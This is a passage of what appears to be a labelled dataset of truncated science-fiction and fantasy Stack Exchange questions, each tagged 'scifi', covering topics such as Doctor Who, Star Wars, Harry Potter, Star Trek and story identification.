it, and it cannot be cured. Werewolves go on a rampage every month. This means that during their lifetime they can ... ",['scifi'] "Title: What is the name of this sci fi actor? Body: I forget the name of an actor who was in some moderately succesful sci fi / fantasy films of late 1980s / early 1990s. I think his name is Michael D something which sounds French or Flemish. This ... ",['scifi'] "Title: Saving Amy and Rory in episode The Angels Take Manhattan [duplicate] Body: Possible Duplicate: Can't the Doctor just land the TARDIS outside New York during 1938? Spoilers: But since the Doctor is still in the present and with his TARDIS (unlike in a ... ",['scifi'] "Title: How rare are untouchables in the Warhammer 40k universe? Body: I've been lead to believe that in the Warhammer 40,000 universe, untouchables - those who are psychic blanks, and act to cancel psychic powers - are very rare. However in two separate series the main ... ",['scifi'] "Title: Do Romulans experience a pon farr every seven years? Body: Every seven years Vulcans experience the pon farr. They must mate or risk death. Romulan and Vulcans share common ancestry. Did the Vulcans evolve the pon farr after the Romulans left Vulcan? Did ... ",['scifi'] "Title: Can a werewolf turn a muggle into another werewolf? Body: We have established that, in all likelyhood, in HP universe, Lycanthropy is a contagion that has magical properties, and is not merely a virus (despite being a metaphor for one as intended by JKR). ... ",['scifi'] "Title: What's up with Luthor's Lair in Superman? Body: Lex Luthor's lair in Superman appears to be a partially submerged, palatial train station: No explanation of how this place came to be, how Lex came into possession of it, or how it became ... ",['scifi'] "Title: Short horror/SF story where a farmer contacts an underground kingdom while digging a well? Body: The story is about a farmer who digs a hole (possibly for a well) but breaks into an underground 'kingdom'. He makes contact and exchanges messages with the people who live there via rope/bucket ... ",['scifi'] "Title: Can't the Doctor just land the TARDIS outside New York during 1938? Body: From this answer: http://scifi.stackexchange.com/a/24022/1660, I'd like to quote this: The paradox energy essentially creates a shielded fixed point in time. That particular region of 1938 New ... ",['scifi'] "Title: Book about 2 boys that time travel from 1980's (?) to Mayan (?) civilization with a viking girl? Body: I read a book while in elementary school in either in 1984 or 85, it was from the school's library, so it likely was a juvenile or young adult book. There were 2 boys from ""modern"" times, and I don't ... ",['scifi'] "Title: Can alchemists only transmute inorganic materials? Body: I've been watching Fullmetal Alchemist: Brotherhood lately and noticed that Ed and Al tend to only transmute rock and metal, especially in battle. The same is true of Alex Louis Armstrong. Roy ... ",['scifi'] "Title: Why are vampires not rotten like other undead? Body: Zombies, mummies, ghouls, skeletons and other undead are usually depicted as rotten, but vampires are always lifelike. What's the reason? ",['scifi'] "Title: Was there Klingon used in any of Star Wars movies? Body: A comment on this SO question stated: Klingon is a real Earth language, but it's only heard in the second movie and never shown printed. I couldn't find any references to that. Was there ... ",['scifi'] "Title: Did the Vuldarian race appear elsewhere in the dcu? Body: Did the Vuldarian race (from Guy Gardner: Warrior) ever appear in other titles in the dcu? Or were they invented in (and limited to) that series? Not counting The Way of the Warrior crossover that ... ",['scifi'] "Title: Which Star Trek episodes were based on spec scripts? [closed] Body: It recently came to my attention that some Star Trek episodes for various series were based on spec scripts, essentially unsolicited (fan) submissions. (And as the cliche goes, that blew my mind) For ... ",['scifi'] "Title: Who is Mr. Rabbit? Body: Does Vernor Vinge ever expand upon the identity of Mr. Rabbit? In an interview from 2006, Mr. Vinge indicates that there's nothing in the book that directly identifies who or what Mr. Rabbit is, but ... ",['scifi'] "Title: Can a man be attacked by facehugger twice? Body: The scenario of the first Alien describes the process like this: The man comes close to the egg. The egg opens and a facehugger attacks the man. After some time, the man wakes up as if nothing ... ",['scifi'] "Title: Regeneration Energy Used for Healing Body: In The Angels Take Mahattan (S07E05) Has regeneration energy ever been used to heal another Timelord (or anyone else for that matter)? Excluding the time ",['scifi'] "Title: Why was the male a'dam created? Body: What was the original purpose the male a'dam was created for? Also, why does it have two bracelets as opposed to one for the female version? ",['scifi'] "Title: Why didn't the empire check for life forms on the Millennium Falcon? Body: Yestrday I watched ""A New Hope"" again. I noticed that at the beginning, when R2-D2 and C-3PO escape in the escape pod, the empire checks for life forms on the pod, and finds there are none. Later, ... ",['scifi'] "Title: Back to The Future style Time Updates in Doctor Who Body: Is ""The Angels Take Manhattan"" the first time in Doctor Who we see time changing in the present because of an action in the past? The best comparison I can think of is at the end of Back to the ... ",['scifi'] "Title: Why are the rules different for The Doctor? Body: After the events of ""The Angels Take Manhattan"" how is but The Doctor cannot We know that he cannot go to that particular time / place (New York, 1938) but the ",['scifi'] "Title: Has setting as a narrator or POV character ever been done? [closed] Body: I am in the process of writing a science fiction novel and am considering casting an entire city as a POV character. I do believe that I've read a novel with something like this before, but I cannot ... ",['scifi'] "Title: Could the TARDIS stop a Weeping Angel? Body: A Weeping Angel freezes if it is observed, due to quantum shenanigans. The TARDIS is alive, and is I think, aware of the inhabitants of... herself. If an Angel entered the TARDIS, is it resonable to ... ",['scifi'] "Title: fantasy book about a boy drowning in ice and waking up in a fantasy world Body: I've been trying to remember the title of this fantasy book. I believe it was from the early 90's. It was about a human boy who was at a party, gets in trouble with some rough teenagers and gets ... ",['scifi'] "Title: Does Superman have a lisp? Body: I'm wondering if there is a canonical reference for this comment I found on the internet (not the part about hiding his identity, the part about him having a lisp): The reason why Superman hides ... ",['scifi'] "Title: Were the Ewoks already planning an offensive or revolt? Body: I just watched Return of the Jedi, and while I am willing to accept that there is a lot about the Endor Forest Moon battle and the Ewoks in general that doesn't quite add up1, this watching left me ... ",['scifi'] "Title: fantasy book - time, ring, river Body: I read this book about 10 years ago. I believe the tile has the word river or water in it. I have looked through all the lists I can find and read the descriptions to find this book. There is a ... ",['scifi'] "Title: What happened to the alien pod? Body: In the beginning of Ben 10 he gets the omnitrix from an alien pod he found in the woods, what happens to the pod after that? ",['scifi'] "Title: In X-Men: First Class who are the mutant children found by professor X? Body: In the movie, when Professor X uses Cerebro for the first time, he is able to detect some mutant children. I believe the first one was Storm, since she was a little girl with white hair. But who ... ",['scifi'] "Title: How was the Chosen One meant to bring balance to the force? Body: The legend of the Chosen One foretold the coming of a being who would restore balance to the Force. Now we know that Anakin Skywalker was the Chosen One, but how exactly was he supposed to restore ... ",['scifi'] "Title: Why does the Doctor in Voyager tell everyone about his mobile emitter? Body: In multiple instances in Star Trek: Voyager, this sequence of events happen: A character asks the Doctor how he is able to exist outside of the holodeck/sickbay The Doctor informs them of the mobile ... ",['scifi'] "Title: Why does Tony Stark keep the electromagnet in his chest? Body: The ARC reactor and electromagnet chest piece are originally there to prevent pieces of shrapnel from piercing his heart. That happens because he was fixed by a Chinese/Afghan doctor who doesn't have ... ",['scifi'] "Title: Completion of Dark Tower series Body: I am currently reading the 7 books of Stephen King's Dark Tower series (I've reached ""Wizard and Glass""). When I started it, I had the impression it was a finished series and I didn't read very much ... ",['scifi'] "Title: Story where small, extremely dense men with guns that fire destructive compressed pellets rise from the depths of the earth into cave? Body: Does anyone remember this short story? A group of scientists are studying an underground cave when they begin to see milky shapes moving in the rock. Eventually a couple of midget men appear through ... ",['scifi'] "Title: What would happen if you portalled the TARDIS inside itself? Body: The TARDIS is one of the few fictional objects that could contain themselves. Firstly, because ""it's bigger on the inside"" but secondly because the TARDIS has some means of sustaining paradoxes (which ... ",['scifi'] "Title: Excluding laser beams, what is the first instance of an idea from military science fiction that became a military fact? Body: In 1898's ""War of the Worlds"", heat rays(lasers?) were science fiction. Now military lasers are science facts. Is there a science fiction idea that turned into an actual military weapon/vehicle ... ",['scifi'] "Title: Fantasy book about a boy who crashes into a world Body: If my memory serves correctly, it was something along the lines of this: -> Boy hurtles into the world, crashing and losing his memories as a result. He's a pirate? Somebody on a floating city ... ",['scifi'] "Title: Are there any resources for recipes from the Star Trek universe? Body: The Star Trek universe has many displays or references to some exotic and interesting foods from alien cultures. Some interesting examples include: Hasperat Niccel Strips Chech'tluth And who can ... ",['scifi'] "Title: How did Draco Malfoy know Harry would go to the Room of Requirement? Body: In the Deathly Hallows, when Harry, Hermione and Ron go to get the Diadem, they find Draco, Crabbe and Goyle waiting for them. How did they get in the room when Ginny and Tonks where in there? Even ... ",['scifi'] "Title: What were the creatures in Hunger Games made of? Body: What were the creatures in Hunger Games made of? As in were they photonic, organic, synthetic, robotic, siliconic (silicon based), carbonic (carbon based) or ghost (ghost based). ...I made up some ... ",['scifi'] "Title: A member of a village of little people paints her door green and is exiled Body: ..along with a couple of other misfits whom the council or somesuch feels are simply not appropriate people to be members of their village. Of course the group of exiles spot invaders and are ... ",['scifi'] "Title: What scares J.K. Rowling (her boggart)? Body: Did J.K. Rowling ever reveal what scares her most? In other words, what form her boggart would take? ",['scifi'] "Title: Why didn't Jane tell Ender that her origin was the Fantasy Game when they met? Body: We learn (in Xenocide and in Shadow of the Giant / First Meetings) that Jane's origins are the Fantasy Game that Ender played in Battle School. Why doesn't Jane reveal that Fantasy Game origin to ... ",['scifi'] "Title: Fantasy novel - Primitive humans enslaved by superior race from blood portals? Body: Please help, I have literally scoured the internet for information, can anyone identify?! I read this book (these books, think it was part of a trilogy) when I was quite young, maybe 15 years ago ... ",['scifi'] "Title: Did Chakotay ever take responsibility for Paris' safety? Body: This is an extension to this question about Tom Paris becoming chief helms officer. The question in question, had this quote in the answers: Janeway: Mr. Chakotay said something about his life ... ",['scifi'] "Title: In “The Courts of Chaos”, to whom is Corwin speaking when he addresses Carmen? Body: In the very last page of ""The Courts of Chaos"", after mentally addressing his family, Corwin says, and pardon my poor french, ""Carmen, voulez vous avec moi?"" To whom is he speaking, the reader? And ... ",['scifi'] "Title: Were iguanas extinct in Red Dwarf? Body: In Red Dwarf season one, Lister doesn't know what an iguana is when Rimmer mentions the word. Is there any cannon saying that iguanas are extinct in Red Dwarf? Or did Lister just never hear about or ... ",['scifi'] "Title: which novel involved sending instantaneous tachyon body copies around the galaxy, mostly to die? Body: The novel centers around a man living a comfortable existence in the pretty distant future. To support himself, he is occasionally asked to enter a box which will copy his entire body, and send it ... ",['scifi'] "Title: Story with a man with broken glasses disappearing from a motel room Body: What's this film or TV programme from the 80's, possibly early 90's: A man and a woman in a motel-looking room. Years before the woman's partner or husband had disappeared from the same room. He ... ",['scifi'] "Title: Why Didn't People Think That Voldemort Died After His Attack on Baby Harry? Body: After the Avada Kedavra curse rebounded from Harry onto Voldemort, Voldemort disappeared. I'm curious as to why so many key players believed Voldemort was still ""alive"" somewhere, his powers ... ",['scifi'] "Title: Is Middle-Earth a time, or is it a place? Body: I was looking at the map of Middle-Earth and it made me wonder. Does Middle-Earth refer to the time frame in which the LOTR stories took place, or does it refer to the area in which the LOTR tales ... ",['scifi'] "Title: Is Vaarsuvius male or female? Body: Is there anyway to guess at Vaarsuvius's gender? I know the author has stated he won't give it away, but is it perhaps likely that there are hints, and indicators I may have missed in the comics. Is ... ",['scifi'] "Title: Does the Force act like God in Star Wars canon? [closed] Body: Has the Force ever acted on its own or as a deity in Star Wars canon? ",['scifi'] "Title: Could Voldemort have gotten into Hogwarts if someone inside had said his name? Body: Harry broke the Trio's protective enchantments when he said ""Voldemort"", do you think the same could have happened in Hogwarts? ",['scifi'] "Title: Story identification - fantasy novel in first person narrative/memoir Body: I'm struggling to remember/identify a fantasy story I read, probably 10+ years ago. From memory, it was written in first person narrative and/or memoir style. The protagonist went through various ... ",['scifi'] "Title: Story identification: Doomed soldiers spirited away to guard crop against last seasons soldiers Body: I read this in the mid '80's or early 1990's. A group of heavily armed elite Earth soldiers is kidnapped just as they were about to be overrun and annihilated. Given the choice of being returned to ... ",['scifi'] "Title: Do benders have to bend parts of their body to bend the elements? Body: I have noticed that in Avatar the last airbender, everyone seemingly has to move a body part to bend an element. Do they have to even move? And why? For instance, Katara can be on land and use a ... ",['scifi'] "Title: Did the Cylons intentionally select the day of the Galactica's de-commissioning to attack the Colonies? Body: Is there a reason that the Cylons attacked the Colonies on the day of the Galactica's decommissioning, or was that only a coincidence written for narrative reasons? ",['scifi'] "Title: In Star Trek:Voyager why does Tom Paris get Starfleet rank, but the Maquis get provisional rank? Body: Once Voyager is stranded in the Delta quadrant Janeway gives Tom Paris the rank of Lieutenant and he gets two little dots on his collar. Janeway gives the Maquis crew including Chakotay rank on ... ",['scifi'] "Title: Are all alchemists part of the military? Body: I've been watching Fullmetal Alchemist: Brotherhood lately and got to the episode where Ed and Al deliberately try to lure out Scar for their own purposes (I'm trying to be spoiler-free here). ... ",['scifi'] "Title: Did the Pattern and the Logrus come from the same source? Body: I can't find my Amber books and I'm in a discussion about the relationship between the Pattern and the Logrus. I seem to remember the implication that both the Pattern and the Logrus both came from ... ",['scifi'] "Title: Why can't Nina push Gary? Body: In the TV show Alphas, Nina's alpha ability is to mentally push people to do whatever she asks of them. How come her ability doesn't work on Gary? Does it have to do with Gary's autism or alpha ... ",['scifi'] "Title: Why is the Silence Falling a bad thing? Body: The big theme of the 5th and 6th season of Doctor Who, is that the Silence will fall when the question is asked. However, the Silence is a religious organization/empire, and generally speaking, when ... ",['scifi'] "Title: Can you identify a story where deep future humans are colonising the galaxy and are about to destroy the home of a reptilian civilisation Body: I'm fairly sure the story was called Dinosurs, and its main human character was a very tall humanoid called Drill. He lived alone on a ship except for a thing made out of sex organs. He arrives on ... ",['scifi'] "Title: How do you make a combine soldier? Body: In the half-life series, post seven-hour war, earth or at least part of it is beset by an alien force the combine, who use a modified transhuman creature that serves as the main enemy. How are they ... ",['scifi'] "Title: Were firearms ever used in the Dragonriders of Pern series? Body: Having read the books some time ago, I am under the impression that firearms are never used or mentioned in the Dragonriders of Pern series. In support of this idea, the villains in Dragon's Dawn do ... ",['scifi'] "Title: What order should I read tales of Mythago Wood? Body: Robert Holdstock thoroughly confused me with his Mythago Wood series, to the point that I gave up trying to understand them. I'm wondering now if I should have read the novels in a different order or ... ",['scifi'] "Title: Are Warehouse 13 characters Pete Lattimer and Steve Jinks Alphas? Body: In the SyFy TV show Warehouse 13 characters Pete Lattimer and Steve Jinks both have supernatural-abilities that can't be explained by science, nor by the use of any artifact (the show's premise). ... ",['scifi'] "Title: LIfe Cycle of Thread: Ground phase? Body: In the Pern books, the dragon riders burn the Thread before it hits the ground, Ground troops with acid/flame throwers then kill any which does before it can burrow into the ground. In one of the ... ",['scifi'] "Title: Are there any examples of Wargs/Skinchangers inhabiting dragons? Body: I was wondering if there were any historical examples in ASOIAF about Wargs or skinchangers inhabiting dragons? I have searched here and here and have not been able to find any evidence either way. ... ",['scifi'] "Title: Why do the Borg need to assimilate entire species? Body: In The Raven, its mentioned that the Borg know much of the Talaxians because a small vessel was assimilated and their characteristics were added to the collective. Why do the Borg then need to ... ",['scifi'] "Title: Was there ever a queen for Melkor? Body: I am reading for the first time the Valaquenta. It mentions right at the beginning the seven Lords and Queens of the Valar (the Valiers). Melkor is excluded from the count of the Lords and from the ... ",['scifi'] "Title: When did Bruce organize his will and the new Bat signal? Body: What do you think the time line looked like after returning from the Pit, specifically when and how did Bruce get his will set up and the new Bat signal put on the MCU building? I have been pondering ... ",['scifi'] "Title: Will Spock warn of disasters in the new Star Trek universe? [closed] Body: Will Old Spock in the new timeline universe warn them of upcoming natural disasters? i.e. V'ger, the whale probe, Praxis and explosion, the Borg, violent first contacts, the wave from Generations, ... ",['scifi'] "Title: What experiment were they running on the sand? Body: In spider-man three we see sandman transformed into sand and he then manages to reconstitute himself. This is all because some crazy scientists were running an experiment, that he got in the middle ... ",['scifi'] "Title: What happens to the people inside when the TARDIS is tilted? Body: If the TARDIS is turned upside down or is laid horizontally, what happens to the contents - including people? Does the TARDIS up / down orientation change? Or does it have an artificial gravity so ... ",['scifi'] "Title: Can Legilimency be done without the target knowing? Body: From everything we saw during Harry's Occlumency lessons with Snape, I don't think even an accomplished Legilimens can go around delving into other people's minds without them knowing it's ... ",['scifi'] "Title: How did Captain Picard and Worf stay in their seats while upside down in Insurrection? Body: In Star Trek Insurrection we see Captain Picard and Worf spinning upside down repeatedly while flying in an atmosphere in a shuttle and trying to capture Data. After they even out, Worf gets up and ... ",['scifi'] "Title: Does the time vortex no longer indicate the Tardis' motion in time? Body: The intro for Dr Who shows the tardis flying through the time vortex that takes one of two shades, sometimes transitioning between the two: The Vortex generally had two different colours, red and ... ",['scifi'] "Title: Did Eru ever speak to anyone other than Ainur? Body: We know that Eru had ability to speak (and spoke to Ainur), for example this answer quotes Quenta Silmarillion: And the voice of Ilúvatar said to Aulë: 'Thy offer I accepted even as it was made. ... ",['scifi'] "Title: In the Silmarillion what is meant by Vampires and Werewolves? Body: We have a fairly specific idea of what vampires and werewolves are in our society. Vampires are cursed with the need to drink blood and immortality, werewolves are cursed with changing into a huge ... ",['scifi'] "Title: When did Eru interfere in Arda directly? Body: Did Eru ever interfere in Arda directly (as opposed to telling Valar what to do)? I know of once possible case, sending Olorin/Gandalf back after he died fighting the Balrog (as Gandalf the White), ... ",['scifi'] "Title: What is “anguille borkner” in Vernor Vinge's zones of thought series? Body: I am currently reading ""The Children of The Sky"" and I come across this word. ""Anguille borkner"" seems like some kind of skill. It has been a long time since I read ""A Fire Upon the Deep"", I don't ... ",['scifi'] "Title: Would real Moody have taught 4th year students about Unforgiveable curses? Body: Would real Moody have taught 4th year students about Unforgiveable curses the way fake Barty Crouch Moody did? In other words, did Barty teach about them (leaving aside his hands-on teaching ... ",['scifi'] "Title: Galifrey and Krikket, a connection? Body: Is the time bubble around Galifrey meant to resemble the envelope of Slo-Time around Krikket? I know Douglas Adams made Slartibartfast after the Doctor, and although the episodes with the time bubble ... ",['scifi'] "Title: Saruman in the Shire: how long had he been planning it? Body: I am trying to understand the actions of Saruman in the Shire. I will refer to the chronology of Appendix B of the Return of the King. All dates are relative to the Third Age. Frodo leaves Bag End on ... ",['scifi'] "Title: Necromancy In Harry Potter Body: How is Necromancy accomplished in the Harry Potter universe? I thought that people cannot be raised from the dead in Harry Potter. Were bodies just use as puppets that can only do simple tasks, for ... ",['scifi'] "Title: Leprechaun and Vampire - a Mythical link? Body: In Supernatural, the brothers are advised in the episode Clap Your Hands If You Believe that spilling salt in front of the Leprechaun will slow it down, as he is compelled to count the grains. I ... ",['scifi'] "Title: Why is the Rebel Alliance so tiny? Body: The Galactic Republic and then Empire is huge, containing (I think) hundreds of thousands of star systems which would each have millions to billions of sentient inhabitants. Despite this mind ... ",['scifi'] "Title: Is it possible for so many technologies to cease working? Body: In the show Revolution, the world suffers a global blackout. However, the extent of this catastrophe goes far beyond a collapse of electrical grids. Any device that uses electricity stopped ... ",['scifi'] "Title: Is kryptonite made of the element krypton? [closed] Body: According to the official sources, is the radioactive green crystal that serves as Superman's Achilles' heel actually composed of the noble gas krypton, or is it supposed to be made out of some other ... ",['scifi'] "Title: Stargate: Atlantis - What happened to Todd the Wraith? Body: Yeah its kinda left wide open at the end of the series that after Atlantis lands on earth what becomes of Todd? Last I saw he was a prisoner on Atlantis (I think I could be wrong). ",['scifi'] "Title: What element saved Iron Man from his blood poisoning? Body: I just watched Iron Man 1&2 the other day. I'm new to the entire story. In IM2 we learn that his blood is being poisoned and that he has tried every combination of every existing element as a ... ",['scifi'] "Title: Does The Doctor hear everyone speaking in Gallifreyan? Body: I just spotted this on reddit today : I've only watched the newer episodes (from 2005-Present) and I don't believe this question was ever answered, but I just thought of this -- The Doctor ... ",['scifi'] "Title: What else did Robert C O'brien write? [closed] Body: When I was thirteen, Z for Zachariah is the book that got me hooked on science fiction. Was wondering if anyone knows of any other literature that he wrote? Wikipedia says that he is ""best known for ... ",['scifi'] "Title: Looking for 1970's SF novel title where people travel to other planets by transmitting their consciousness to a replica body at the destination Body: This was a 'young-adult' SF novel I read in the late 1970's, about the same time I was reading Voorloper by Andre Norton, Madeleine L'engle's Wrinkle In Time books and the Dragonfall 5 young adult ... ",['scifi'] "Title: Alien race cat type people bounty hunters Body: Heard about this from a friend. Story about race of alien cat type people who capture other aliens and turn them over to be hunted by a race of shape shifting aliens. Human in the story is caught ... ",['scifi'] "Title: What is the name of the planet designing company in Hitchiker's Guide? Body: What is the name of the company that designs planets in Hitchiker's Guide to the Galaxy, or does it ever say? The one which Slartibartfast works for. ",['scifi'] "Title: How did the Bat-Signal work on cloudless/moonless nights? Body: How did the Bat-Signal work on cloudless and moonless nights? ",['scifi'] "Title: Would a Horcrux protect against old age? [duplicate] Body: Possible Duplicate: Could Voldemort have died a natural death with his horcruxes intact? Horcruxes are supposed to make someone invulnerable, but would they protect him from aging, or would ... ",['scifi'] "Title: What was the first SciFi book or story co-written by 2 authors before 1957? Body: What was the first SciFi book or story co-written by 2 or more authors before 1957? (1957 is simply because I'm aware of one written in that year, so that is a definite early mark). ",['scifi'] "Title: Why does R2-D2 need to be delivered to the rebels? Body: Many rebels died to procure the Plans for the Death Star, which were then transmitted to the Tantive IV. As we all know, the Tantive IV was then captured by Vader and the Imperials. Leia stores the ... ",['scifi'] "Title: Was there a taboo trace charm associated with the name “Tom Riddle”, or just with the name “Voldemort”? Body: Wizards refered to him as ""he who must not be named"" long before the taboo charm was placed on the word ""Voldemort"" in the Deathly Hallows. According to Wikipedia ""Throughout the series, Rowling ... ",['scifi'] "Title: What evidence supposedly supports Tau as related to the Necrontyr? Body: I've heard of rumours saying that the Tau from Warhammer 40K are in fact the Necrontyr. Is there anything that supports this statement, in WH40K canon? I just found this, on 1d4 chan1: Helping ... ",['scifi'] "Title: Did any Necrontyr survive enslavement by the C'tan? Body: I'm slowly reading through the Necron backstory in their Warhammer40K codex (5th edition). One of the first things mentioned is the bio-transference of all the Necrontyr to be enslaved by the C'tan. ... ",['scifi'] "Title: Why didn't Voldemort kill Prof. Slughorn? Body: Voldemort didn't invent Horcruxing technology. He merely learned it from Prof. Slughorn. So, he knew that Slughorn could be weakest point of his plan from where his secret could be revealed. Why ... ",['scifi'] "Title: Who are the men of red and gold? And what is the final metal? Body: Right before Miles is executed, he says: You are fools! One day, the men of gold and red, bearers of the final metal, will come to you. And you will be ruled by them. I've seen speculated on ... ",['scifi'] "Title: How Did Merope Gaunt Procure a Love Potion? Body: In Half-Blood Prince, in chapter 10, The House of Gaunt, Dumbledore shares a memory with Harry in the Pensieve that introduces Merope Gaunt, Voldemort's mother. Merope's father, Marvolo, is cruel to ... ",['scifi'] "Title: What leads to Hank being able to see Wesen? Body: In ""Blood Moon Rising"" (S2E3 of Grimm) hank is suffering from paranoia and believes that he is going crazy because of his multiple encounters with Wesen. As he and Nick are helping locate his ... ",['scifi'] "Title: Are there humanoid sentient species in Star Trek which eat other humanoid sentient species? Body: Perhaps a gruesome topic, but what are some examples of sentient species which practice cannibalism and/or eat other sentient species (if any)? I added humanoid to the title, in case someone wanted ... ",['scifi'] "Title: How was Sentinel Prime supposed to save humans from gravitational disturbance caused by Cybertron? Body: In Transformers: Dark of the Moon movie, Sentinel Prime was going to use cheap human resources (and other natural resources) to re-build Cybertron. So, humans were important to him. Killing humans ... ",['scifi'] "Title: Novel in which warships are shielded by superconductors and ice Body: Trying to remember a scifi novel where the warships were protected in part from enemy lasers and such by superconductive shielding that was in turn connected to a superconductive wire run through a ... ",['scifi'] "Title: As of 2012, how many different canon versions of the Superman character exist? Body: He is what he is, but he isn't what he used to be. How many versions of Kal-El, aka Clark (Superman) Kent have there been since he first appeared in 1938's Action Comics #1? I'm looking for the ... ",['scifi'] "Title: Are any locations in the Lord of the Rings based on real places? Body: I recall reading somewhere that some of the places in the Shire in the Lord of the Rings were actually based on some real locations around where Tolkien grew up in the West Midlands here in the UK (I ... ",['scifi'] "Title: Why Did Griphook Betray Harry in Deathly Hallows? Body: In chapter 24 (Bloomsbury) of Deathly Hallows -- The Wandmaker -- Harry and Griphook the goblin have a conversation wherein Harry asks for Griphook's help in breaking into Gringotts to retrieve the ... ",['scifi'] "Title: What is the shape of the world of Westeros and do the Westerosi know? Body: For quite some time now I have been asking myself how the world of Game of Thrones is shaped and if the people living in that world know the shape. In questions here on SciFi.Stackexchange ... ",['scifi'] "Title: Trying to remember a book where technology is split amongst different political groups Body: I think I read this in the early 90's. In this story, technology was divided up and zealously guarded by the cultures that use it. Different groups held different tech. One group held the secret of ... ",['scifi'] "Title: What is written on Darth Vader's Chest control panel? Body: As I said on the blog, I finally went to the Star Wars Identities Exhibition in Montreal. There, I took this photo of Darth Vader's Chest control panel (You could get it in higher resolution here) : ... ",['scifi'] "Title: In the “Hunger Games” series, how long has Snow been president? Body: I've been wondering, how long has President Snow been president when the ""Hunger Games"" books (or movies) take place? Given the described medical possibilities, a 75-year presidency doesn't seem ... ",['scifi'] "Title: When and why did the beacon containing the virus get launched? Body: When in the Battlestar Galactica time line did the beacon from the fake Earth that carried a form of bubonic plaque actually get launched, and why? The way I understand it, there was a diaspora from ... ",['scifi'] "Title: What makes a planet 'level 5 '? Body: The Doctor states that by the intergalactic law of the Shadow Proclamation seeding a level five planet is illegal (Partners in Crime). Besides implying that Earth is level five, what else do we know ... ",['scifi'] "Title: What species is Matron Corfelia? Body: In Doctor Who, the adipose raised on earth are cared for by their 'wet nurse', Matron Corfelia, in Partners in Crime. Functionally, Corfelia appears human, but I don't know for certain. She isn't an ... ",['scifi'] "Title: world with words of power [duplicate] Body: Possible Duplicate: Magic is based on words of power, which series? I am looking for a trilogy of fantasy books which I read around 2001. I liked it a lot and would like to re-read it, but ... ",['scifi'] "Title: What exactly did the Death Eaters Jr. **do** for Snape? Body: In several answers and comments (here, here) there seems to be an implication that James' bullying may have been the cause - or at least, a factor - of him joining the future Death Eater clique in ... ",['scifi'] "Title: In Practical Magic, why did only one sister have gifts? Body: In the movie Practical Magic, and I think in the book too, every pair of sisters had an innately gifted sister and then a sister that needed to put forth extra effort to practice magic. Why didn't ... ",['scifi'] "Title: What was Ahiru's pendant? Body: In Princess Tutu, Ahriu is given a pendant that detects pieces of the prince's heart, and allows her to turn into Princess Tutu so she can return them to him. In the penultimate episode, ",['scifi'] "Title: Why would Severus Snape hang out with future Death Eaters? Body: Severus Snape seemed like a complete lone nerd type from whatever details about him are in the books. Why would he bother hanging out with future Death Eaters (Nott etc...) in Hogwarts when the ... ",['scifi'] "Title: Why didn't the Imperials provide air cover to their forces on Hoth? Body: During the ground assault on the Rebel base on Hoth why didn't the Imperials provide air support to their forces? During many battles here on Earth, military units regulary have access to air support, ... ",['scifi'] "Title: Did Draco Malfoy Buy His Way Onto the Slytherin Quidditch Team? Body: As the title says, did Draco Malfoy buy his way onto the Slytherin Quidditch team, or did he make the team through talent? There's conflicting suggestions: Malfoy had leapt on to his broomstick ... ",['scifi'] "Title: Did Draco's wand choose him, or was it chosen for him? Body: It is a somewhat common saying, when referring to Harry Potter, that the wand chooses the wizard. Indeed, Ollivander says this twice when Harry buys his wand. So it is curious that when Harry meets ... ",['scifi'] "Title: How did Avatar Aang have a wife and kids? Body: In Avatar the Last Airbender, I believe Aang ran away from the air nomads because he was told that as the Avatar, he would not be allowed to ever have a family; and his sole responsibility would be to ... ",['scifi'] "Title: Book Identification: Stuck in a Store after Closing Body: It's a choose your own adventure book, where you are stuck in a department store after closing and have to escape. Toys come to life etc... Published in the UK, probably else where. I do know it's ... ",['scifi'] "Title: How much training did the force ghosts give Luke? Body: At the end of RotJ we see a load of force ghosts associated Luke. Do any of these ghosts give Luke training? ",['scifi'] "Title: When were lightsaber forms introduced to Star Wars? Body: I've just read a question about Luke Skywalker learning Form IV from from Yoda. This would have had to happen before Yoda died (maybe). I don't remember lightsaber combat forms being mentioned in the ... ",['scifi'] "Title: Boy writes story, interacts with his alter ego Body: Publishing language: Unknown. I read this book in school many years ago, then in my native language: Swedish. Likely it was originally in some other language. What I remember: The protagonist is ... ",['scifi'] "Title: Could Quirinus Quirrell have killed Harry using Avada Kedavra while hosting Voldemort? Body: Because Voldemort had not been given a new body in which Harry's blood flowed (as would happen later in GoF), Quirinus Quirrel (Voldemort's temporary host in PS) could not touch Harry because of Lily ... ",['scifi'] "Title: Short story where the Devil goes to a Physics professor for help? Body: This is a short story I read in an anthology 3-4 years ago. But I get the feeling it was much older than that. In the story, the Devil in the form of a shy young man comes to meet a Physics ... ",['scifi'] "Title: Does Luke Skywalker know the lightsaber technique known as “Ataru” (Form IV)? Body: I was reading a blog and it mentioned that Crimson Empire III states that Luke received Form IV training from Yoda. Is this true? ",['scifi'] "Title: Why not possess the Winchester bros? Body: I'm working my way through Supernatural (currently just started season 2, so use spoiler tags please), and something's bugging me. It seems like demons (and some of the other creatures) who are being ... ",['scifi'] "Title: Has the Tau empire encountered Necrons yet? Body: The tau are a relatively new race in the WK40K, the Necron are an ancient one. According to the 6th edition wargame rule book allies table, Tau and Necron forces are 'Allies of Convenience'. Necron ... ",['scifi'] "Title: What prevents lower class Wizards from being upper class Wizards? Body: What prevents lower class Wizards from being upper class Wizards? For example, the many childrened Weasleys are looked down on by their ""betters"". Why can't they conjure a more comfortable standard of ... ",['scifi'] "Title: Was louis stalked days in advance too? Body: So, we know why Dana and Louis act so differently, but that leads me to ask: was Louis Tully ever stalked in the same way Dana was? Perhaps not having Zool fry his eggs for him, but was there a little ... ",['scifi'] "Title: Does Lily Potter's sacrifice make Harry and Voldemort immortal? Body: I know that when Lily sacrificed herself for Harry, Voldemort could no longer touch him and any attempted Avada Kedavra on Harry by Voldemort would rebound onto himself, until, of course, he took some ... ",['scifi'] "Title: Why didn't Harry go with Dobby from the infirmary in Chamber? Body: In J. K. Rowling's Harry Potter and the Chamber of Secrets, chapter 10, we have Harry keeping a firm hold on Dobby's wrist to stop him from hitting himself with the water jug again.… ... ",['scifi'] "Title: Does Clark Kent have a weight problem? Body: This question came to mind while watching an overloaded vehicle tilting down the road ahead of me. Are Kryptonians Height & Weight Proportional (H/W/P) to humans? I'm curious to know if Clark has ... ",['scifi'] "Title: How did Voldemort die? [closed] Body: I might be missing something obvious but when I read the seventh Harry Potter, it wasn't clear to me how Voldemort died. How did Voldemort die? ",['scifi'] "Title: Science-fiction story about a man traveling the galaxy in search of the meaning of life Body: I remember reading a nice SF book about 8-9 years ago but I can't remember its title or the author. It was similar to The Hitchhiker's Guide to the Galaxy, with a man, possibly a girl too, leaving ... ",['scifi'] "Title: 